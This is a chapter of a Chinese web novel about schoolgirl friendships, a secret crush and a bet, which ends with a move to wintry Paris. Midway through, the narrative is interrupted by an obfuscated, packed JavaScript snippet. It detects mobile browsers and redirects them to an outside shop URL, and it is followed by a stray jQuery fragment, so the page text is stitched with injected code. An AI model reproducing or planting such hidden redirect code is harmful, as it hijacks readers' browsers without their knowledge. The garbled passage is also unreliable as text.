郎赛的笑容温柔又优雅。
萧艾荧咽了几次口水，却怎么都说不出话来，良久才略显苍白道：“这要看你喜不喜欢他……”
“不喜欢啊。”郎赛答得飞快，答完还眨了眨眼睛。
“不喜欢那你为什么还要给他希望……”
“不喜欢，玩玩也可以啊。”郎赛再一次笑眯眯地打断了她的话。
萧艾荧一噎，有些震惊的看着郎赛：“郎赛……你……”
“你喜欢他你倒是和我说呀。”郎赛缓缓收敛了笑容，也不再吓唬她，转而淡淡道：“你喜欢他，我没意见，想追他，我也没意见，拿我做借口和他单独相处，我更没有意见……”
“但是。”她话锋一转，“这一切的前提是我需要知情。”
“明明比起苏嘉逸，我和你更熟，可是你现在为了一个认识没几天的外人，瞒着我偷偷和他交往，骗我、耍我、孤立我，显得我多余了。”
“还是在你的眼里，他才是你的真心肝，我倒成了那个碍事的？”
萧艾荧低下了头。
“艾荧，我们是朋友对吧？”郎赛点到为止，仍旧给她留了三分薄面，“我不喜欢被朋友这样对待。”
但其实话已经说得很开。
每一份感情都是平等的，没有先后之分，但如果做好了为了一份感情而牺牲另一份感情的打算、做好了为了一个人牺牲另一个人的打算、做好了为了苏嘉逸牺牲她的打算……
那就请大大方方一点，别既要又要。
萧艾荧低下了头：“对不起。”
被人因为这种事情而隐形孤立，即使听到了道歉，她心里的火气也并没有消，但也不想把事情闹得太难看，这样不体面。
一旁，夏西宁终于上完厕所，像只小鸟一样扑腾着朝她飞奔而来。
郎赛不想在第三个人面前给萧艾荧难堪，只好叹了口气，决定作罢：“算了，下不为例。”
夏西宁已经跑到了她的身边：“走吧赛妞，莎莎说她那边的事情结束了，我们三个晚饭去校外吃吧！”
郎赛点点头，笑道：“好呀。”
顿了顿，又看向萧艾荧：“……要一起吗？”
萧艾荧讪笑一声，很有眼色：“不了。”
“那我们先走了。”
夏西宁的眼神在两人之间瞟了个来回，随后不动声色地挑了挑眉。
去餐馆的路上，夏西宁抓着她就把前因后果问了个干净。
听完后翻了个白眼，吐吐舌头道：“要我就直接和她绝交，什么呀这是，越位社交就算了，还想把你当套吗？这小跟班要造反啊？”
郎赛很严肃地纠正她：“西宁，她是我朋友，不是小跟班。”
“可这不是年级里公认的吗？而且我看她当跟班当得可上道了不是？”夏西宁哼了一声。
“你怎么对她敌意这么大？”郎赛皱了皱眉。
夏西宁撇撇嘴，转移话题：“那你是打算原谅她？”
郎赛微笑：“哪有什么原谅不原谅，朋友之间有点小摩擦是正常的，而且我现在不是和她讲开了吗？”
夏西宁看着她，欲言又止，最后叹了一口气：“那她要是把你的话当耳旁风，继续我行我素呢？”
郎赛托着下巴浅浅轻笑：“让别人不开心的事情做第二次，她再怎么样也不至于这么蠢吧？”
夏西宁沉默了一会，最后无奈道：“行行行，你的事不过三原则又开始发力了。”
“确实是个很好用的公式嘛。”郎赛朝她眨了眨眼睛。
“你当你做化学题呢？化学天才！”夏西宁忍无可忍，翻了个白眼，“德森不是国际学校嘛！究竟为什么会有你这种单细胞理工女极端分子存在啊？！”
“哦对，你还是个人嫌狗厌的处女座！”夏西宁快要尖叫了。
郎赛吐吐舌头：“星座都是巴纳姆效应，让我们相信科学不要迷恋星座好吗？”
夏西宁气得扭头一喊：“老板！快点上菜！”
夏西宁是郎赛小学就认识的朋友，也算是唯一的朋友，因此也是唯一一个知道郎赛脾气的人。
包括这个事不过三原则：郎赛脾气很好，可以包容很多事情，但每个人都有自己格外不喜欢的事情，一旦触犯到这个逆鳞，郎赛会给对方三次机会：
第一次因为不知者不怪，所以会和对方好好沟通，告诉对方自己不喜欢这样。
第二次会顾念往日情分宽容一次。
至于第三次，就算她再喜欢再割舍不下对方，那人也必须给她有多远滚多远。
坐到餐厅的座位后，两人一边点着菜等唐和莎，一边聊天。
“对了，赛妞我问你个问题哦。”
“问。”
“你喜欢什么类型的男生哦？”夏西宁声如蚊呐，说完还心虚地瞟了她一眼。
郎赛继续看着菜单点着菜，也不知道听没听见。
德森是个国际学校，不缺有钱人，但有钱人也分三六九等，而郎家是洛朗的知名企业，市值几十亿的大公司，就是在全国，也算排得上名号，同时还是德森的大股东，以是郎赛一入校就有很多人知道她，这和她优越的家世脱不开关系。
但是她却极少谈到自己的家庭，哪怕是和她认识经年的夏西宁，其实也对她的家庭状况一知半解，只是隐隐有一个大概的猜测——知道她因为家庭的原因，一向不喜欢和感情挂钩的话题，大多数时候要么笑着转移话题，要么冷处理。
就在夏西宁以为郎赛这次又会像之前那样缄口不答时，她却在沉默了几分钟后回答了她，只是答得漫不经心，似是随口的玩笑：“……大概是听话的小狗吧，满心满眼只能有我，不能太黏了因为我也会烦，但是我把绳子扔掉的时候，他又会自己跑回来……”
“哦，就是端茶倒水的秦始皇。”夏西宁总结道。
郎赛无语地抿了抿嘴：“都让你少看点星座解析了。”
“哦～你怎么知道这是星座解析？你是不是私下也偷偷看哦？”夏西宁叉着腰，像捉到了她现行似的得意洋洋的发问。
郎赛觑她一眼，不冷不淡地道：“因为你成天在我耳边唠叨。”
夏西宁“切”了一声，不再继续。
良久，夏西宁手指绕着发丝，快速瞥了她一眼又低下头：“那……苏嘉逸是你喜欢的类型吗？”
“不是。”
“那你现在……对苏嘉逸是什么心思啊？”夏西宁托起下巴看向她，咬字有些小心翼翼。
郎赛低着头在点菜，没注意她的表情：“没想法，我对他不感兴趣。”
“那你还答应他……”
夏西宁不知道她初中那件事，郎华声嫌丢人，对外只说给她换个管得更严的学校，郎赛自然也就不敢和任何人多嘴，解释起来也很复杂，最重要的是不体面。
现如今再要解释一顿，她也嫌麻烦，于是已读乱回：“玩玩而已。”
夏西宁“啊”了一声，声音顿时就萎了，她整张小脸都趴倒在桌上：“赛妞，你能不能不要玩他啊……”
郎赛掀了掀眼皮，视线从菜单上抬起来，看向夏西宁落寞的小脑袋：“怎么个事？”
夏西宁双手捧着自己的脸蛋：“因为我有点喜欢他。”
风拂过她的高马尾，她漂亮的丹凤眼轻轻一眨，随后睫毛落下，手指捻着一页菜单，翻了过去：“你不是喜欢靳苏考吗？”
“哎呀，喜欢也是分种类的嘛，我对靳苏考那种一呼百应的公子哥的那种喜欢呢，只是崇拜，对苏嘉逸那种吧，才是男女之情……”夏西宁低着头，耳朵有些红，“真要说，那我还喜欢我的女神比安卡呢，可也没见我真的变成同性恋啊。”
郎赛听明白了。
“不会有下次了。”
夏西宁问：“什么下次？”
“我和苏嘉逸的赌局。”郎赛顿了顿，“不会有下次了。”
夏西宁感动地即将眼含泪水：“赛妞～～”
郎赛打了个冷颤，抖掉一身的鸡皮疙瘩：“你为什么喜欢他啊？”
“长得好、个子高、成绩还好，我为什么不喜欢他？”
郎赛啧了一声：“善变的女人，请问你对他的喜欢能持续到高中结束吗？”
“这个嘛……”夏西宁摸着下巴，真的思考了起来。
郎赛看着她那副样子，无奈地摇了摇头，然后点评道：“三分钟热度。”
夏西宁不以为然，反而是抛砖引玉到她身上：“赛妞。”
“什么？”
夏西宁低头，用吸管搅着杯子里的冰块：“萧艾荧在你心里的地位，会超过我吗？”
“不会。”
夏西宁没说话了。
良久，夏西宁把头扭向了门外：“莎莎来了。”
唐和莎出现在餐厅门口时，室内很多男生都抬头看她，连郎赛都愣了一下。
风吹动她的校服短裙和长发，从长相到气质，都和郎赛很像，只是比郎赛多了一份温柔娴静。
同一个圈子的，虽然之前没有过交集，但郎赛听说过她，唐家的独生女，外公是本地一所985的教授，书香门第，有钱又有权，是个真正的大家闺秀。
“你们聊什么呢？”她自然地坐到夏西宁的身边。
夏西宁笑着，指着郎赛，用开玩笑的语气说：“我在教训她呢，你说怎么有她这样的人，明明心里明镜似的，却偏是个不撞南墙不回头的性子，什么事情必须得见了血，才相信自己最初的判断。”
“什么血啊南墙的，夏西宁你英文但凡有中文一半的好，也不至于雅思2.8！”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525897|203496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唐和莎笑她。
夏西宁一听，就扑过去作势要揍她：“我诅咒你计算器明天就被偷！”
两个人闹作一团，郎赛就这样安静地笑看着，也插不进去话。
两人闹完了，唐和莎才拿过手里一个礼品袋，递给郎赛，很温柔的对着她笑：“听西宁提过你好多次，这是给你带的礼物，我自己做的小饼干，也不知道你喜不喜欢。”
很礼貌很周到，也很有距离感，可莫名让她感到一丝不自然。
郎赛不觉明历，只是笑着接过来：“谢谢。”
“我的呢我的呢！你怎么没给我准备礼物！”夏西宁抱着胸看着她，佯怒道。
“我昨天不是送了你一整套比安卡的珍藏版漫画书吗？”唐和莎用手指点了点她的脑袋，又掐了掐她的脸蛋，“托我老爸从美国买回来的！亲签诶！”
“那所以今天就不送了？”夏西宁继续假装无理取闹。
唐和莎轻轻唉了一声，撑着下巴朝她挑眉，“那不然赏你一个香吻好了，要么？西宁宝贝～来，给姐姐亲一个～”
“走开啦！”
她们两个旁若无人地打打闹闹，显得太过亲昵，亲昵到郎赛插不进去话，只好笑着，低头尴尬地嚼米粒。
因为唐和莎的出现，于是郎赛按捺下了她很想问出口的那个问题。
就像夏西宁问她“同样是朋友，萧艾荧在你心里的位置，会不会超过我”一样，她也想问夏西宁一句：“唐和莎在你心里的位置，有一天会不会超过我？”
没有问出口的问题，自然也不会有答案。
但对于她来说，也许没问出口才是好的，因为一旦问了，她就一定会成为别人的选项。
可她讨厌成为任何人的选项，尤其讨厌任何在感情上的竞争，如果有这样一天，她会毫不犹豫地转身离开。
因为但凡感情的议题，她就是既输不起又玩不起。
那天的饭局到了后来，她一句话都没插上。
短短一年，她忽然发现，夏西宁仍旧是她最好的朋友，可夏西宁最好的朋友却不再是她了。
时间和距离，可以轻松地改变很多事情。
那天的饭局之后，郎赛主动找了萧艾荧。
“你不是喜欢苏嘉逸吗？我帮你追他。”
萧艾荧脸上有明显的惊讶：“你不生气了吗？”
郎赛笑笑：“一码归一码，我生气的点又不是因为你喜欢他。”
“而且……我只是突然有点理解你了而已……”
萧艾荧一愣：“什么？”
郎赛却笑笑：“没什么。”
萧艾荧抿了抿嘴，这回的道歉就真心实意多了点：“抱歉，我那次真的不是故意的，我只是不敢和你提这种要求。”
“为什么不敢提？”
“我觉得你不会答应的。”
郎赛了然地点点头：“觉得我不会同意，但仍旧这么做了。”
萧艾荧头低得更低了。
郎赛叹了口气，道：“我把你当朋友，不是小跟班，但你自己把自己放在了小跟班的位置上，所以先斩后也不奏，只是一味地把我当冤大头……”
萧艾荧沉默着不说话。
“算了，我既然说这件事过去了，那就是过去了，下次不要这样了，你现在知道了，我不喜欢他。”
“那你们的赌约……？”
郎赛无所谓一笑：“我一直做第一不就行了？”
萧艾荧呼吸一滞，随后苦涩一笑：“郎赛，怪不得学校里那么多人都喜欢你。”
闻言，郎赛却不置可否：“那就这样约好了，你以后可以尽情拿我的名义约他，而我不会给他机会，然后，我们依旧是朋友。”
萧艾荧郑重地点了点头。
夏天的风吹起她的高马尾，吹走落在她发丝上的银杏叶，一路吹到冬日的巴黎。
郎赛眨了眨酸涩的眼睛，明明已经过去三年了，那些个年少轻狂又略显幼稚的往事，却仿佛就在昨天。
不知不觉间，她已经来到了和萧艾荧约定好的那家小酒馆。
巴黎的冬天额外的干冷，风很大，夹着雪吹来，吹得她头痛，她扯了扯自己的冷帽，吸了口气，推门进去。
来国外之前，她很讨厌坏天气，因为没有阳光的日子会让她心情也跟着变差，来法国之后，她却喜欢上了有雨水的日子。
因为雨水可以把人理所当然地困在家里，然后理所当然的屏蔽社交。
可总有一些人一些事，是坏天气不能阻挡的。
任何关系，都至少需要有一个人主动经营，因为没有人会无条件奔你而来，没有人会永远对一个人好，更没有人会永远把你当第一顺位。
所以不管是好是坏，总要面对。
她不想再逃避了。